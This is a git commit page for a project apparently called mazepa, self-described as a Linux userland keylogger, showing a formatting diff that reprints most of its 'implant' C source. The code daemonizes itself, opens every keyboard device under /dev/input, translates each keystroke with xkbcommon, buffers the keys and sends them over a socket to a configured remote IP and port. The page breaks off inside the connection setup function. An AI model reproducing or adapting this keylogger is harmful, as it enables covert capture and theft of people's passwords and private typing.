mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit 1e46106459cdcb5bdd0c143954432b1d6268dc34
parent fd732a66d1278f2b24d2a2278ae4daba4b63cbf6
Author: djnn.sh <[email protected]>
Date: Sun, 14 Jan 2024 08:58:06 +0100

chore(implant): .clang-format config

Diffstat:
Aimplant/.clang-format | 18++++++++++++++++++
Mimplant/includes/implant.h | 85+++++++++++++++++++++++++++++++++++++++++++++++--------------------------------
Mimplant/sources/daemon.c | 53++++++++++++++++++++++++++++-------------------------
Mimplant/sources/keyboard.c | 102+++++++++++++++++++++++++++++++++++++++++++------------------------------------
Mimplant/sources/logger.c | 408+++++++++++++++++++++++++++++++++++++++++++------------------------------------
Mimplant/sources/main.c | 43+++++++++++++++++++++++++------------------
Mimplant/sources/net.c | 163++++++++++++++++++++++++++++++++++++++++++-------------------------------------
Mimplant/sources/opt.c | 80++++++++++++++++++++++++++++++++++++++++++-------------------------------------
Mimplant/sources/utils.c | 217++++++++++++++++++++++++++++++++++++++++++++-----------------------------------

9 files changed, 647 insertions(+), 522 deletions(-)

diff --git a/implant/.clang-format b/implant/.clang-format
@@ -0,0 +1,18 @@
+BasedOnStyle: Mozilla
+AccessModifierOffset: '-4'
+AllowShortIfStatementsOnASingleLine: Never
+BreakBeforeBraces: Allman
+ColumnLimit: '0'
+FixNamespaceComments: 'false'
+IndentCaseLabels: 'false'
+IndentWidth: '4'
+NamespaceIndentation: All
+TabWidth: '4'
+UseTab: Never
+SortIncludes: true
+IncludeBlocks: Preserve
+IncludeCategories:
+  - Regex:           '^"[[:alnum:]./]+"'       # Any "my_header.h"
+    Priority:        2
+  - Regex:           '<[[:alnum:]./]+>'        # System/Standard libs
+    Priority:        1
diff --git a/implant/includes/implant.h b/implant/includes/implant.h
@@ -16,19 +16,22 @@
     also holds its file descriptor
 */
 typedef struct keyboard_s keyboard_t;
-struct keyboard_s {
-  int fd;
+struct keyboard_s
+{
+    int fd;
 
-  ssize_t nb_chars;
-  char buffer[QUEUE_BUFFER_SIZE];
+    ssize_t nb_chars;
+    char buffer[QUEUE_BUFFER_SIZE];
 
-  char name[STRING_BUFFER_SIZE];
-  TAILQ_ENTRY(keyboard_s) devices;
+    char name[STRING_BUFFER_SIZE];
+    TAILQ_ENTRY(keyboard_s)
+    devices;
 };
 
-typedef struct translated_key {
-  char const *description;
-  char const representation;
+typedef struct translated_key
+{
+    char const* description;
+    char const representation;
 } translated_key_t;
 
 /*
@@ -36,15 +39,17 @@ typedef struct translated_key {
     port & IP address, whether debug mode is enabled
     or stuff like this
 */
-typedef struct implant_s {
+typedef struct implant_s
+{
 
-  /* remote connection settings */
-  unsigned short port;
-  char ip[STRING_BUFFER_SIZE];
-  int disable_net;
+    /* remote connection settings */
+    unsigned short port;
+    char ip[STRING_BUFFER_SIZE];
+    int disable_net;
 
-  /* keyboard settings */
-  TAILQ_HEAD(listhead, keyboard_s) kbd;
+    /* keyboard settings */
+    TAILQ_HEAD(listhead, keyboard_s)
+    kbd;
 
 } implant_t;
 
@@ -55,39 +60,51 @@ typedef struct implant_s {
 #include <syslog.h>
 
 #ifndef DEBUG_LOG
-#define DEBUG_LOG(s, ...)                                                      \
-  do {                                                                         \
-    char data[256] = {0};                                                      \
-    if (0 > snprintf(data, 255, s, ##__VA_ARGS__))                             \
-      _exit(1);                                                                \
-    syslog(LOG_NOTICE, data);                                                  \
-  } while (0)
+#define DEBUG_LOG(s, ...)                              \
+    do                                                 \
+    {                                                  \
+        char data[256] = { 0 };                        \
+        if (0 > snprintf(data, 255, s, ##__VA_ARGS__)) \
+            _exit(1);                                  \
+        syslog(LOG_NOTICE, data);                      \
+    } while (0)
 #endif
 
 #define KEY_PRESSED 1
 #define KEY_RELEASED 0
 
 // net.c
-int init_remote_connection(implant_t *);
-int send_key_description(int, char[STRING_BUFFER_SIZE]);
+int
+init_remote_connection(implant_t*);
+int
+send_key_description(int, char[STRING_BUFFER_SIZE]);
 
 // opt.c
-int parse_user_input(int, char **, implant_t *);
+int
+parse_user_input(int, char**, implant_t*);
 
 // logger.c
-void keylog(implant_t *, int);
+void
+keylog(implant_t*, int);
 
 // keyboard.c
-void fetch_available_keyboards(implant_t *);
+void
+fetch_available_keyboards(implant_t*);
 
 // daemon.c
-void daemon_setup(void);
+void
+daemon_setup(void);
 
 // utils.c
-int read_file(char const *, char **);
-size_t get_array_size(uint8_t **);
-char *remove_repeating_whitespaces(char *);
-void free_tab(uint8_t **);
-char **tabgen(const char *, char);
+int
+read_file(char const*, char**);
+size_t
+get_array_size(uint8_t**);
+char*
+remove_repeating_whitespaces(char*);
+void
+free_tab(uint8_t**);
+char**
+tabgen(const char*, char);
 
 #endif /* IMPLANT_H */
diff --git a/implant/sources/daemon.c b/implant/sources/daemon.c
@@ -1,45 +1,48 @@
 
-#include "implant.h"
 #include <signal.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <sys/stat.h>
 #include <sys/types.h>
 #include <unistd.h>
+#include "implant.h"
 
-void daemon_setup(void) {
+void
+daemon_setup(void)
+{
 
-  pid_t pid;
+    pid_t pid;
 
-  /* Fork off the parent process */
-  pid = fork();
+    /* Fork off the parent process */
+    pid = fork();
 
-  if (pid < 0)
-    exit(EXIT_FAILURE);
+    if (pid < 0)
+        exit(EXIT_FAILURE);
 
-  if (pid > 0)
-    exit(EXIT_SUCCESS);
+    if (pid > 0)
+        exit(EXIT_SUCCESS);
 
-  if (setsid() < 0)
-    exit(EXIT_FAILURE);
+    if (setsid() < 0)
+        exit(EXIT_FAILURE);
 
-  /* FIXME: implement decent signal handler here */
-  signal(SIGCHLD, SIG_IGN);
-  signal(SIGHUP, SIG_IGN);
+    /* FIXME: implement decent signal handler here */
+    signal(SIGCHLD, SIG_IGN);
+    signal(SIGHUP, SIG_IGN);
 
-  pid = fork();
-  if (pid < 0)
-    exit(EXIT_FAILURE);
+    pid = fork();
+    if (pid < 0)
+        exit(EXIT_FAILURE);
 
-  if (pid > 0)
-    exit(EXIT_SUCCESS);
+    if (pid > 0)
+        exit(EXIT_SUCCESS);
 
-  umask(0);
-  chdir("/tmp");
+    umask(0);
+    chdir("/tmp");
 
-  for (long x = sysconf(_SC_OPEN_MAX); x >= 0; x--) {
-    close((int)x);
-  }
+    for (long x = sysconf(_SC_OPEN_MAX); x >= 0; x--)
+    {
+        close((int)x);
+    }
 
-  openlog("mazepa", LOG_PID, LOG_DAEMON);
+    openlog("mazepa", LOG_PID, LOG_DAEMON);
 }
diff --git a/implant/sources/keyboard.c b/implant/sources/keyboard.c
@@ -18,83 +18,91 @@
 #include <sys/types.h>
 #include <unistd.h>
 
-static int is_kbd(const struct dirent *f) {
-  size_t len = strlen(f->d_name);
+static int
+is_kbd(const struct dirent* f)
+{
+    size_t len = strlen(f->d_name);
 
-  if (len < 3)
-    return 0;
+    if (len < 3)
+        return 0;
 
-  return f->d_name[len - 3] == 'k' && f->d_name[len - 2] == 'b' &&
-         f->d_name[len - 1] == 'd';
+    return f->d_name[len - 3] == 'k' && f->d_name[len - 2] == 'b' &&
+           f->d_name[len - 1] == 'd';
 }
 
-void fetch_available_keyboards(implant_t *instance) {
+void
+fetch_available_keyboards(implant_t* instance)
+{
 
-  /*
-      input devices usually live in /dev/input/
+    /*
+        input devices usually live in /dev/input/
 
-      you can identify the in the by-path subdirectory, which maps each
-      device name to a symlink
+        you can identify the in the by-path subdirectory, which maps each
+        device name to a symlink
 
-      here, we will return set an array of file-descriptor for each available
-      keyboard on the machine, it should be appended with a -1 that should serve
-      as a NULL value
-  */
+        here, we will return set an array of file-descriptor for each available
+        keyboard on the machine, it should be appended with a -1 that should serve
+        as a NULL value
+    */
 
-  struct dirent **char_devices = NULL;
-  int possible_paths =
+    struct dirent** char_devices = NULL;
+    int possible_paths =
       scandir("/dev/input/by-path/", &char_devices, &is_kbd, &alphasort);
 
-  if (-1 == possible_paths || 0 > chdir("/dev/input/by-path/")) {
+    if (-1 == possible_paths || 0 > chdir("/dev/input/by-path/"))
+    {
 
 #ifdef DEBUG
-    DEBUG_LOG("could not find possible keyboard paths");
+        DEBUG_LOG("could not find possible keyboard paths");
 #endif
 
-    return;
-  }
+        return;
+    }
 
-  /* prepare TAILQ  */
-  TAILQ_INIT(&instance->kbd);
+    /* prepare TAILQ  */
+    TAILQ_INIT(&instance->kbd);
 
-  char rpath[2048] = {0};
-  for (int ctr = -1; ++ctr < possible_paths;) {
-    if (!realpath(char_devices[ctr]->d_name, rpath)) {
+    char rpath[2048] = { 0 };
+    for (int ctr = -1; ++ctr < possible_paths;)
+    {
+        if (!realpath(char_devices[ctr]->d_name, rpath))
+        {
 
 #ifdef DEBUG
-      DEBUG_LOG("[!] Could not run realpath(%s): %s", char_devices[ctr]->d_name,
-                strerror(errno));
+            DEBUG_LOG("[!] Could not run realpath(%s): %s", char_devices[ctr]->d_name, strerror(errno));
 #endif
 
-      continue;
-    }
+            continue;
+        }
 
-    keyboard_t *kbd = malloc(sizeof(keyboard_t));
-    if (!kbd) {
+        keyboard_t* kbd = malloc(sizeof(keyboard_t));
+        if (!kbd)
+        {
 
 #ifdef DEBUG
-      DEBUG_LOG("[!] allocate memory for keyboard_t");
+            DEBUG_LOG("[!] allocate memory for keyboard_t");
 #endif
 
-      continue;
-    }
+            continue;
+        }
 
-    kbd->fd = open(rpath, O_RDONLY | O_NOCTTY | O_NDELAY);
-    if (kbd->fd < 0) {
+        kbd->fd = open(rpath, O_RDONLY | O_NOCTTY | O_NDELAY);
+        if (kbd->fd < 0)
+        {
 
 #ifdef DEBUG
-      DEBUG_LOG("[!] Could not open %s: %s", rpath, strerror(errno));
+            DEBUG_LOG("[!] Could not open %s: %s", rpath, strerror(errno));
 #endif
 
-      continue;
-    }
+            continue;
+        }
 
-    memset(kbd->name, 0, 64);
-    strncpy(kbd->name, rpath, 63);
-    TAILQ_INSERT_HEAD(&instance->kbd, kbd, devices);
-  }
+        memset(kbd->name, 0, 64);
+        strncpy(kbd->name, rpath, 63);
+        TAILQ_INSERT_HEAD(&instance->kbd, kbd, devices);
+    }
 
-  for (int ctr = -1; ++ctr < possible_paths;)
-    free(char_devices[ctr]);
-  free(char_devices);
+    for (int ctr = -1; ++ctr < possible_paths;)
+        free(char_devices[ctr]);
+    free(char_devices);
 }
diff --git a/implant/sources/logger.c b/implant/sources/logger.c
@@ -1,5 +1,4 @@
 
-#include "implant.h"
 #include <alloca.h>
 #include <bits/types/struct_timeval.h>
 #include <errno.h>
@@ -14,292 +13,325 @@
 #include <sys/types.h>
 #include <unistd.h>
 #include <xkbcommon/xkbcommon.h>
+#include "implant.h"
 
 static const translated_key_t KEYS[] = {
-    {"space", ' '},
-    {"comma", ','},
-    {"period", '.'},
-    {"slash", '/'},
-    {"questionmark", '?'},
-    {"semicolon", ';'},
-    {"apostrophe", '\''},
-    {"bracketleft", '['},
-    {"bracketright", ']'},
-    {"backslash", '\\'},
-    {"pipe", '|'},
-    {"Tab", '\t'},
-    {"minus", '-'},
-    {"plus", '+'},
-    {"equal", '='},
-    {"dollar", '$'},
-    {"percentage", '%'},
-    {"star", '*'},
-    {"parenthesisleft", '('},
-    {"parenthesisright", ')'},
-    {"underscore", '_'},
-    {"ampersand", '&'},
-    {"pound", '#'},
-    {"arobase", '@'},
-    {"tild", '~'},
-    {NULL, 0},
+    { "space", ' ' },
+    { "comma", ',' },
+    { "period", '.' },
+    { "slash", '/' },
+    { "questionmark", '?' },
+    { "semicolon", ';' },
+    { "apostrophe", '\'' },
+    { "bracketleft", '[' },
+    { "bracketright", ']' },
+    { "backslash", '\\' },
+    { "pipe", '|' },
+    { "Tab", '\t' },
+    { "minus", '-' },
+    { "plus", '+' },
+    { "equal", '=' },
+    { "dollar", '$' },
+    { "percentage", '%' },
+    { "star", '*' },
+    { "parenthesisleft", '(' },
+    { "parenthesisright", ')' },
+    { "underscore", '_' },
+    { "ampersand", '&' },
+    { "pound", '#' },
+    { "arobase", '@' },
+    { "tild", '~' },
+    { NULL, 0 },
 };
 
-static int get_highest_fd(implant_t *instance) {
-  int highest_fd = -1;
+static int
+get_highest_fd(implant_t* instance)
+{
+    int highest_fd = -1;
 
-  keyboard_t *it = NULL;
-  TAILQ_FOREACH(it, &instance->kbd, devices) {
-    highest_fd = (it->fd > highest_fd) ? it->fd : highest_fd;
-  }
-  return highest_fd;
+    keyboard_t* it = NULL;
+    TAILQ_FOREACH(it, &instance->kbd, devices)
+    {
+        highest_fd = (it->fd > highest_fd) ? it->fd : highest_fd;
+    }
+    return highest_fd;
 }
 
-static char *check_translated_key(char *key_desc) {
-  for (size_t ctr = 0; KEYS[ctr].description != NULL; ctr++) {
-    if (!strcmp(KEYS[ctr].description, key_desc)) {
+static char*
+check_translated_key(char* key_desc)
+{
+    for (size_t ctr = 0; KEYS[ctr].description != NULL; ctr++)
+    {
+        if (!strcmp(KEYS[ctr].description, key_desc))
+        {
 
-      memset(key_desc, 0, STRING_BUFFER_SIZE);
-      key_desc[0] = KEYS[ctr].representation;
+            memset(key_desc, 0, STRING_BUFFER_SIZE);
+            key_desc[0] = KEYS[ctr].representation;
 
-      break;
+            break;
+        }
     }
-  }
-  return key_desc;
+    return key_desc;
 }
 
-static int log_keyboard(int fd, struct xkb_state *state, char **key_desc_ptr) {
-  struct input_event evt = {0};
-  static bool shift_pressed = false;
+static int
+log_keyboard(int fd, struct xkb_state* state, char** key_desc_ptr)
+{
+    struct input_event evt = { 0 };
+    static bool shift_pressed = false;
 
-  /*
-      read events out of /dev/input/by-path/${**}-kbd
+    /*
+        read events out of /dev/input/by-path/${**}-kbd
 
-  TODO:
-      for now, we only read one, but we can attempt to read them in
-      bulk of 6-10 once bufferizing messages is implemented
-  */
+    TODO:
+        for now, we only read one, but we can attempt to read them in
+        bulk of 6-10 once bufferizing messages is implemented
+    */
 
-  ssize_t bytes_read = read(fd, &evt, sizeof(evt));
+    ssize_t bytes_read = read(fd, &evt, sizeof(evt));
 #ifdef DEBUG
-  DEBUG_LOG("[!] read %ld bytes", bytes_read);
+    DEBUG_LOG("[!] read %ld bytes", bytes_read);
 #endif
 
-  if (bytes_read != sizeof(evt)) {
+    if (bytes_read != sizeof(evt))
+    {
 
 #ifdef DEBUG
-    DEBUG_LOG("[!] read() error: %s", strerror(errno));
+        DEBUG_LOG("[!] read() error: %s", strerror(errno));
 #endif
 
-    return ERROR;
-  }
+        return ERROR;
+    }
 
-  /* checking is we are in MAJ key. TODO: check if CAPS_LOCK is enabled or not.
-   */
-  if (evt.type == EV_KEY && evt.value == KEY_RELEASED) {
-    if (evt.code == KEY_LEFTSHIFT || evt.code == KEY_RIGHTSHIFT) {
-      shift_pressed = false;
-      return SUCCESSFUL;
+    /* checking is we are in MAJ key. TODO: check if CAPS_LOCK is enabled or not.
+     */
+    if (evt.type == EV_KEY && evt.value == KEY_RELEASED)
+    {
+        if (evt.code == KEY_LEFTSHIFT || evt.code == KEY_RIGHTSHIFT)
+        {
+            shift_pressed = false;
+            return SUCCESSFUL;
+        }
     }
-  }
 
-  if (evt.type == EV_KEY && evt.value == KEY_PRESSED) {
+    if (evt.type == EV_KEY && evt.value == KEY_PRESSED)
+    {
 
-    if (evt.code == KEY_LEFTSHIFT || evt.code == KEY_RIGHTSHIFT) {
-      shift_pressed = true;
-      return SUCCESSFUL;
-    }
+        if (evt.code == KEY_LEFTSHIFT || evt.code == KEY_RIGHTSHIFT)
+        {
+            shift_pressed = true;
+            return SUCCESSFUL;
+        }
 
-    /*
-        TODO:
+        /*
+            TODO:
 
-        1) add support for xlib as well, so that wayland AND xlib are
-        supported. this should allow us to then relay those without issues
+            1) add support for xlib as well, so that wayland AND xlib are
+            supported. this should allow us to then relay those without issues
 
-        2) add check for which library is installed & add abstraction layer
-    */
+            2) add check for which library is installed & add abstraction layer
+        */
 
-    xkb_keysym_t keysym = xkb_state_key_get_one_sym(state, evt.code + 8);
+        xkb_keysym_t keysym = xkb_state_key_get_one_sym(state, evt.code + 8);
 
-    if (shift_pressed)
-      keysym = xkb_keysym_to_upper(keysym);
+        if (shift_pressed)
+            keysym = xkb_keysym_to_upper(keysym);
 
-    memset(*key_desc_ptr, 0, STRING_BUFFER_SIZE);
-    xkb_keysym_get_name(keysym, *key_desc_ptr, STRING_BUFFER_SIZE);
+        memset(*key_desc_ptr, 0, STRING_BUFFER_SIZE);
+        xkb_keysym_get_name(keysym, *key_desc_ptr, STRING_BUFFER_SIZE);
 
-    *key_desc_ptr = check_translated_key(*key_desc_ptr);
-  }
+        *key_desc_ptr = check_translated_key(*key_desc_ptr);
+    }
 
-  return SUCCESSFUL;
+    return SUCCESSFUL;
 }
 
 /*
     main loop to listen for keys and stuff
 */
-void keylog(implant_t *instance, int sockfd) {
+void
+keylog(implant_t* instance, int sockfd)
+{
 
-  /* first set up select etc */
-  int highest_fd = get_highest_fd(instance);
-  fd_set rd, err;
-  int status = 0;
+    /* first set up select etc */
+    int highest_fd = get_highest_fd(instance);
+    fd_set rd, err;
+    int status = 0;
 
-  if (highest_fd < 0) {
+    if (highest_fd < 0)
+    {
 
 #ifdef DEBUG
-    DEBUG_LOG("[!] no keyboard found. exiting");
+        DEBUG_LOG("[!] no keyboard found. exiting");
 #endif
 
-    return;
-  }
+        return;
+    }
 
-  /*
-     initialize xkbcommon context
+    /*
+       initialize xkbcommon context
 
-     this is the stuff that allows us to map keys to
-     the correct language & manages special characters, shift, etc.
-  */
+       this is the stuff that allows us to map keys to
+       the correct language & manages special characters, shift, etc.
+    */
 
-  struct xkb_context *context = NULL;
-  struct xkb_keymap *keymap = NULL;
-  struct xkb_state *state = NULL;
+    struct xkb_context* context = NULL;
+    struct xkb_keymap* keymap = NULL;
+    struct xkb_state* state = NULL;
 
-  context = xkb_context_new(0);
-  if (!context) {
+    context = xkb_context_new(0);
+    if (!context)
+    {
 
 #ifdef DEBUG
-    DEBUG_LOG("[!] error with xkb_context_new(): %s", strerror(errno));
+        DEBUG_LOG("[!] error with xkb_context_new(): %s", strerror(errno));
 #endif
 
-    return;
-  }
+        return;
+    }
 
-  keymap = xkb_keymap_new_from_names(context, NULL, 0);
-  if (!keymap) {
+    keymap = xkb_keymap_new_from_names(context, NULL, 0);
+    if (!keymap)
+    {
 
 #ifdef DEBUG
-    DEBUG_LOG("[!] error with xkb_keymap_new_from_names(): %s",
-              strerror(errno));
+        DEBUG_LOG("[!] error with xkb_keymap_new_from_names(): %s",
+                  strerror(errno));
 #endif
 
-    goto LOG_FUNCTION_CLEANUP;
-  }
+        goto LOG_FUNCTION_CLEANUP;
+    }
 
-  state = xkb_state_new(keymap);
-  if (!state) {
+    state = xkb_state_new(keymap);
+    if (!state)
+    {
 
 #ifdef DEBUG
-    DEBUG_LOG("[!] error with xkb_state_new(): %s", strerror(errno));
+        DEBUG_LOG("[!] error with xkb_state_new(): %s", strerror(errno));
 #endif
 
-    goto LOG_FUNCTION_CLEANUP;
-  }
+        goto LOG_FUNCTION_CLEANUP;
+    }
 
-  char *key_desc = malloc(sizeof(char) * (STRING_BUFFER_SIZE + 1));
-  if (!key_desc)
-    goto LOG_FUNCTION_CLEANUP;
+    char* key_desc = malloc(sizeof(char) * (STRING_BUFFER_SIZE + 1));
+    if (!key_desc)
+        goto LOG_FUNCTION_CLEANUP;
 
-  memset(key_desc, 0, STRING_BUFFER_SIZE);
+    memset(key_desc, 0, STRING_BUFFER_SIZE);
 
-  /* run the damn loop */
-  while (0x520) {
+    /* run the damn loop */
+    while (0x520)
+    {
 
-    /* setup FD-sets */
-    keyboard_t *it = NULL;
-    TAILQ_FOREACH(it, &instance->kbd, devices) {
-      FD_SET(it->fd, &rd);
-      FD_SET(it->fd, &err);
-    }
+        /* setup FD-sets */
+        keyboard_t* it = NULL;
+        TAILQ_FOREACH(it, &instance->kbd, devices)
+        {
+            FD_SET(it->fd, &rd);
+            FD_SET(it->fd, &err);
+        }
 
-    /*
-        check if a key has been pressed
+        /*
+            check if a key has been pressed
 
-        i really dont like this method because it means that everytime you
-        press a key, a least 2 syscalls are ran (select & read)
+            i really dont like this method because it means that everytime you
+            press a key, a least 2 syscalls are ran (select & read)
 
-        since we are buffering the keys anyway, why not poll for new events
-        every n seconds & then call read() ? is there a risk of missing keys?
-       tbd
+            since we are buffering the keys anyway, why not poll for new events
+            every n seconds & then call read() ? is there a risk of missing keys?
+           tbd
 
-        this select method works well for servers, but not really to poll new
-       events
-    */
+            this select method works well for servers, but not really to poll new
+           events
+        */
 #ifdef DEBUG
-    struct timeval timeout = {0, 1};
-    status = select(highest_fd + 1, &rd, NULL, &err, &timeout);
+        struct timeval timeout = { 0, 1 };
+        status = select(highest_fd + 1, &rd, NULL, &err, &timeout);
 #else
-    status = select(highest_fd + 1, &rd, NULL, &err, NULL);
+        status = select(highest_fd + 1, &rd, NULL, &err, NULL);
 #endif
 
-    if (status < 0) {
+        if (status < 0)
+        {
 
 #ifdef DEBUG
-      DEBUG_LOG("[!] select error: %s", strerror(errno));
+            DEBUG_LOG("[!] select error: %s", strerror(errno));
 #endif
 
-      goto LOG_FUNCTION_CLEANUP;
-    }
+            goto LOG_FUNCTION_CLEANUP;
+        }
 
-    /* check file descriptors (first for error, then for new input) */
-    it = NULL;
-    TAILQ_FOREACH(it, &instance->kbd, devices) {
-      if (FD_ISSET(it->fd, &err)) {
+        /* check file descriptors (first for error, then for new input) */
+        it = NULL;
+        TAILQ_FOREACH(it, &instance->kbd, devices)
+        {
+            if (FD_ISSET(it->fd, &err))
+            {
 
 #ifdef DEBUG
-        DEBUG_LOG("[!] Error on file descriptor %d", it->fd);
+                DEBUG_LOG("[!] Error on file descriptor %d", it->fd);
 #endif
 
-        /* keyboard has been un-plugged, let's continue */
-        FD_CLR(it->fd, &rd);
-        FD_CLR(it->fd, &err);
+                /* keyboard has been un-plugged, let's continue */
+                FD_CLR(it->fd, &rd);
+                FD_CLR(it->fd, &err);
 
-        close(it->fd);
+                close(it->fd);
 
-        /* making sure we dont have a memory leak here */
-        void *tmp_ptr = &instance->kbd;
-        TAILQ_REMOVE(&instance->kbd, it, devices);
+                /* making sure we dont have a memory leak here */
+                void* tmp_ptr = &instance->kbd;
+                TAILQ_REMOVE(&instance->kbd, it, devices);
 
-        free(tmp_ptr);
-        continue;
-      }
+                free(tmp_ptr);
+                continue;
+            }
 
-      /* checking for new input here */
-      if (FD_ISSET(it->fd, &rd)) {
+            /* checking for new input here */
+            if (FD_ISSET(it->fd, &rd))
+            {
 
-        memset(key_desc, 0, STRING_BUFFER_SIZE);
+                memset(key_desc, 0, STRING_BUFFER_SIZE);
 
-        /*
-            should we really kill the run here or can we recover this ?
-            i need to run some tests before making a decision.
-        */
-        if (ERROR == log_keyboard(it->fd, state, &key_desc)) {
-          goto LOG_FUNCTION_CLEANUP;
-        }
+                /*
+                    should we really kill the run here or can we recover this ?
+                    i need to run some tests before making a decision.
+                */
+                if (ERROR == log_keyboard(it->fd, state, &key_desc))
+                {
+                    goto LOG_FUNCTION_CLEANUP;
+                }
 
-        if (ERROR == send_key_description(sockfd, key_desc)) {
-          goto LOG_FUNCTION_CLEANUP;
+                if (ERROR == send_key_description(sockfd, key_desc))
+                {
+                    goto LOG_FUNCTION_CLEANUP;
+                }
+            }
         }
-      }
     }
-  }
 
 LOG_FUNCTION_CLEANUP:
 
-  /* closing file descriptors if instance still exists */
-  if (instance != NULL) {
-    keyboard_t *it = NULL;
-    TAILQ_FOREACH(it, &instance->kbd, devices) { close(it->fd); }
-  }
+    /* closing file descriptors if instance still exists */
+    if (instance != NULL)
+    {
+        keyboard_t* it = NULL;
+        TAILQ_FOREACH(it, &instance->kbd, devices)
+        {
+            close(it->fd);
+        }
+    }
 
-  close(sockfd);
+    close(sockfd);
 
-  if (key_desc != NULL)
-    free(key_desc);
+    if (key_desc != NULL)
+        free(key_desc);
 
-  if (state != NULL)
-    xkb_state_unref(state);
+    if (state != NULL)
+        xkb_state_unref(state);
 
-  if (keymap != NULL)
-    xkb_keymap_unref(keymap);
+    if (keymap != NULL)
+        xkb_keymap_unref(keymap);
 
-  if (context != NULL)
-    xkb_context_unref(context);
+    if (context != NULL)
+        xkb_context_unref(context);
 }
diff --git a/implant/sources/main.c b/implant/sources/main.c
@@ -1,33 +1,40 @@
 
 
-#include <stdio.h>
-#include <stdlib.h>
 #include <unistd.h>
-
 #include "implant.h"
 
-int main(int ac, char **av) {
+int
+main(int ac, char** av, char** envp)
+{
+
+    /*
+        TODO:
+
+        get current layout & send beacon packets to the server.
+        https://superuser.com/a/1300093
+
+        then, drop the lib dependancy and compile statically on client-side
+    */
 
-  implant_t instance = {
-      .ip = {0}, .port = 80, /* ip can be a domain name */
-  };
+    implant_t instance = {
+        .ip = { 0 }, .port = 80, /* ip can be a domain name */
+    };
 
-  if (ERROR == parse_user_input(ac, av, &instance))
-    return 1;
+    if (ERROR == parse_user_input(ac, av, &instance))
+        return 1;
 
-  daemon_setup();
+    daemon_setup();
 
 #ifdef DEBUG
-  DEBUG_LOG("[*] Implant settings:\n\tIP:%s\n\tPort:%d", instance.ip,
-            instance.port);
+    DEBUG_LOG("[*] Implant settings:\n\tIP:%s\n\tPort:%d", instance.ip, instance.port);
 #endif
 
-  fetch_available_keyboards(&instance);
+    fetch_available_keyboards(&instance);
 
-  int sockfd = init_remote_connection(&instance);
-  if (sockfd < 0)
-    return 1;
+    int sockfd = init_remote_connection(&instance);
+    if (sockfd < 0)
+        return 1;
 
-  keylog(&instance, sockfd);
-  return 0;
+    keylog(&instance, sockfd);
+    return 0;
 }
diff --git a/implant/sources/net.c b/implant/sources/net.c
@@ -15,131 +15,142 @@
 
 #include "implant.h"
 
-int send_key_description(int sockfd, char *key_desc) {
+int
+send_key_description(int sockfd, char* key_desc)
+{
 
-  /*
-      creates a standalone buffer of at least 10 * STRING_BUFFER_SIZE,
-      and only sends a message once the buffer size is full.
+    /*
+        creates a standalone buffer of at least 10 * STRING_BUFFER_SIZE,
+        and only sends a message once the buffer size is full.
 
-      it is the responsability of the user to not pick a STRING_BUFFER_SIZE
-      such that a size_t can hold 10 times its size in nb of characters.
-  */
+        it is the responsability of the user to not pick a STRING_BUFFER_SIZE
+        such that a size_t can hold 10 times its size in nb of characters.
+    */
 
 #ifdef DEBUG
-  /* i dont want to wait that long when testing lol */
+    /* i dont want to wait that long when testing lol */
 
-  const size_t max_nb_chars = STRING_BUFFER_SIZE;
-  static char tmp_buffer[STRING_BUFFER_SIZE] = {0};
+    const size_t max_nb_chars = STRING_BUFFER_SIZE;
+    static char tmp_buffer[STRING_BUFFER_SIZE] = { 0 };
 #else
-  const size_t max_nb_chars = STRING_BUFFER_SIZE * 10;
-  static char tmp_buffer[STRING_BUFFER_SIZE * 10] = {0};
+    const size_t max_nb_chars = STRING_BUFFER_SIZE * 10;
+    static char tmp_buffer[STRING_BUFFER_SIZE * 10] = { 0 };
 #endif
 
-  static size_t nb_chars_in_buffer = 0;
+    static size_t nb_chars_in_buffer = 0;
 
-  /* since DEBUG has timeout for keyboard read, we can get empty keys sometimes
-   */
-  size_t length_keydesc = strlen(key_desc);
-  if (length_keydesc == 0) {
-    return SUCCESSFUL;
-  }
+    /* since DEBUG has timeout for keyboard read, we can get empty keys sometimes
+     */
+    size_t length_keydesc = strlen(key_desc);
+    if (length_keydesc == 0)
+    {
+        return SUCCESSFUL;
+    }
 
 #ifdef DEBUG
-  DEBUG_LOG("buffer: %s [%ld / %ld]", tmp_buffer, nb_chars_in_buffer,
-            max_nb_chars);
+    DEBUG_LOG("buffer: %s [%ld / %ld]", tmp_buffer, nb_chars_in_buffer, max_nb_chars);
 
-  DEBUG_LOG("new key: %s", key_desc);
+    DEBUG_LOG("new key: %s", key_desc);
 #endif
 
-  if (max_nb_chars < (nb_chars_in_buffer + length_keydesc)) {
-    if (-1 == send(sockfd, tmp_buffer, nb_chars_in_buffer, 0)) {
+    if (max_nb_chars < (nb_chars_in_buffer + length_keydesc))
+    {
+        if (-1 == send(sockfd, tmp_buffer, nb_chars_in_buffer, 0))
+        {
 
 #ifdef DEBUG
-      DEBUG_LOG("send: %s", strerror(errno));
+            DEBUG_LOG("send: %s", strerror(errno));
 #endif
-      return ERROR;
-    }
+            return ERROR;
+        }
 
-    memset(tmp_buffer, 0, nb_chars_in_buffer);
-    nb_chars_in_buffer = 0;
+        memset(tmp_buffer, 0, nb_chars_in_buffer);
+        nb_chars_in_buffer = 0;
 
-    if (NULL == strncpy(tmp_buffer, key_desc, max_nb_chars)) {
+        if (NULL == strncpy(tmp_buffer, key_desc, max_nb_chars))
+        {
 #ifdef DEBUG
-      DEBUG_LOG("strncpy send_key_description: %s", strerror(errno));
+            DEBUG_LOG("strncpy send_key_description: %s", strerror(errno));
 #endif
-      return ERROR;
+            return ERROR;
+        }
     }
+    else
+    {
 
-  } else {
-
-    if (NULL ==
-        strncat(tmp_buffer, key_desc, max_nb_chars - nb_chars_in_buffer)) {
+        if (NULL ==
+            strncat(tmp_buffer, key_desc, max_nb_chars - nb_chars_in_buffer))
+        {
 #ifdef DEBUG
-      DEBUG_LOG("strncat send_key_description: %s", strerror(errno));
+            DEBUG_LOG("strncat send_key_description: %s", strerror(errno));
 #endif
-      return ERROR;
+            return ERROR;
+        }
     }
-  }
 
-  nb_chars_in_buffer = strlen(tmp_buffer);
-  return SUCCESSFUL;
+    nb_chars_in_buffer = strlen(tmp_buffer);
+    return SUCCESSFUL;
 }
 
-int init_remote_connection(implant_t *instance) {
+int
+init_remote_connection(implant_t* instance)
+{
 
 #ifdef DEBUG
-  DEBUG_LOG("Initiating remote connection with (%s:%d)", instance->ip,
-            instance->port);
+    DEBUG_LOG("Initiating remote connection with (%s:%d)", instance->ip, instance->port);
 #endif
 
